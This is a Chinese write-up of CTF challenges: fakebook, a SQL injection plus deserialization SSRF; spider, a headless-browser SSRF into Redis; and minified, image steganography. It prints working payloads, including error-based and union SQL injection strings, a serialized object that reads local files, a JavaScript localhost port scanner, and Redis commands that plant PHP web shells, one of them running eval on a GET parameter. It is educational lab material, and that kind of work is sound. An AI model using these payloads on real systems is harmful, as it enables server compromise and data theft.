网鼎第一场,题目还是蛮有意思的,fakebook最后零解了。
fakebook
上来先扫,不会错的
robots.txt 里有一个 user.php.bak
拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
get函数可以ssrf
乱翻了一下站点,发现 view.php?no=* 可以sql注入,据说sqlmap直接跑,但是我好像版本有点问题,没跑出来
可以报错注入1
2
3
4
5no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
1 | 1|qwer|d404559f602eab6fd602ac7680dacbfaadd13630335e951f097af3900e9de176b6db28512f2e000b9d04fba5133e8b1c6e8df59db3a8ab9d60be4b97cc9e81db|O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:13:"www.baidu.com";} |
看到库里有这种东西
明显的一个反序列化+ssrf了(当然这句话是老大写在文档上的)
用 union select 构造读取地址,可以读到 /etc/passwd,试着去读 flag.php,getflag
最终payload1
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"aaaa";s:3:"age";i:66;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
都出来的东西在图片的base64中
用union select去执行ssrf,新姿势get
spider
这个题目最后零解,其实看了wp后发现很多逻辑还是说得通的
渗透测试嘛,很多地方都是猜想尝试,web本身就是偏黑盒的东西
所以仔细想想这个题目出得也不是那么烂
以下是复现
上来先扫以下,做了不少题了,确实上来先扫目录是个好习惯
发现一个get_source
这个网页会分析并输出a标签,动态的爬虫的意思原来是会加载js脚本。
所以这里是ajax读文件并写到a标签中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
上传这个html后会拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} —ignore-ssl-errors=yes —url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
def page_not_found(error):
return '404'
def internal_server_error(error):
return '500'
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
一个简单的代码审计,这里看到dbfilename,第一反应是去读这个文件,这里其实就是知识面不够广了,dbfilename是redis相关。
“构造redis cron shell失败,可能系统是ubuntu等,cron不行就尝试从web入手。”
这是别人wp中的话,涉及到redis的三种getshell姿势,我在下篇文章中做个总结。
所以这里的话就考虑web了,先探测端口。
怎么探测呢,自然还是只能走js,很多人说为什么这里就只扫默认的http端口,那这就是测试啊,从最常规的开始,常规的总得先试试吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>
可以看到开放了80和8000端口
这里也是猜测是apache2等phpserver,所以得试试吧,而且web题目中php不是很常规嘛,试一试,不行再说。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"configsetdbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。
6379是redis的默认端口。
然后再用类似第一个payload的文件去给shell发送请求读取flag.php
为什么知道flag.php呢?
谁叫你他妈上来不扫目录
(不过我还是没有复现成功
反弹shell终于是成功了,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词,而且这里题目本身也就是python环境吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<a id="flag">pwn</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
1 | <a href="" id="flag">test</a> |
反弹回来后终于getflag
Misc
minified
倒回来看题目都不难系列
可以看的red的0通道有问题,将其他plane 0通道(red,green,Alpha)提取并且保存,使用Stegsolve对三张图片分别做Image Combiner对比 ,最后发现Alpha plane 0和green plane 0通道进行XOR(异或) 就可以得到flag